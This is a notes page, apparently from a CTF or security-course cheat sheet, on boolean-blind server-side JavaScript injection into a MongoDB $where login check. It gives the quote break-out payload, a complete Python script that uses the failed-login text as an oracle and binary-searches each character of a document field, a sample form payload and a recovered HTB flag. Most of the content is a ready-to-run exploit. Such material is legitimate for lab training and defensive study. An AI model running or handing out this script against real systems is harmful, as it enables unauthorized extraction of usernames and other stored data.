Skip to content

SSJI

SSJI boolean-blind exfil ($where break-out, binary search)

Breaks out of a quoted server-side JS predicate to read a field char-by-char via charCodeAt, binary-searching each byte.

The payload " || (<expr>) || ""==" closes the quoted operand of a server-side JS comparison ($where / server-side eval) and ORs in an attacker-controlled boolean, so the whole predicate is truthy exactly when <expr> is true. The oracle inverts on the failed-login marker (FALSE_STRING), yielding a clean True/False signal. Length is found by probing <field>.length == n; each byte is then resolved by binary search over the printable range with charCodeAt(pos) <= mid, cutting roughly 95 candidate requests per character down to about 7. A faster, lower-precision variant keeps the original linear charCodeAt(pos) == ord(c) scan and fans the charset out across a ThreadPoolExecutor (one request per candidate, first truthy result wins).

import string, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

s = requests.Session()
URL = "http://target/index.php"
FALSE_STRING = "Log in"      # present only when the injected predicate is FALSE (login fails)
FIELD = "this.username"      # document field to exfiltrate

def oracle(expr):
    """Injects a server-side JS boolean `expr`; True when it evaluates truthy."""
    payload = f'" || ({expr}) || ""=="'
    r = s.post(URL, data={"username": payload, "password": "test"}, verify=False)
    return FALSE_STRING not in r.text

def length():
    n = 0
    while not oracle(f"{FIELD}.length == {n}"):
        n += 1
    return n

def dump():
    out = ""
    for pos in range(length()):
        lo, hi = 32, 126                                   # printable ASCII bounds
        while lo < hi:                                      # binary search: ~7 reqs/char
            mid = (lo + hi) // 2
            if oracle(f"{FIELD}.charCodeAt({pos}) <= {mid}"):
                hi = mid
            else:
                lo = mid + 1
        out += chr(lo)
        print(f"\r[+] {out}", end="", flush=True)
    print()
    return out

Form field carrying the SSJI break-out payload

username=" || (this.username.charCodeAt(0) <= 79) || ""=="&password=test

Recovered field

[+] HTB{N0_m0r3_md5,I'm_Bu!Lt_d1fF3reNt}

Find by: nosql, mongodb, ssji, $where, server-side javascript, boolean blind, charCodeAt, binary search, login marker, string break-out · Source: CWEE/NoSQLi SSJI $where boolean blind